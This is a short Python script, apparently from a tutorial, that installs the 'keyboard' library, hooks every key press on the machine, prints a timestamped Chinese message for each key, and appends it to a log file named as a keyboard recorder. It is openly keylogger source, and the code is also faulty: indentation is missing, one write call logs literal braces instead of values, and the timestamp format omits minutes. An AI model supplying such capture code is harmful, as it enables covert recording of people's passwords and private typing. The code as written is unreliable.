pip install keyboard
import keyboard
import time
def get_time():
date_time = time.strftime("%Y-%m-%d %H:%S", time.localtime())
return date_time
def abc(x):
if x.event_type == 'down':
print(f"{get_time()}你按下了{x.name}")
with open('./键盘记录器.txt', 'a+') as f:
f.write("{get_time()}你按下了{x.name}")
f.write("\n")
keyboard.hook(abc)
keyboard.wait()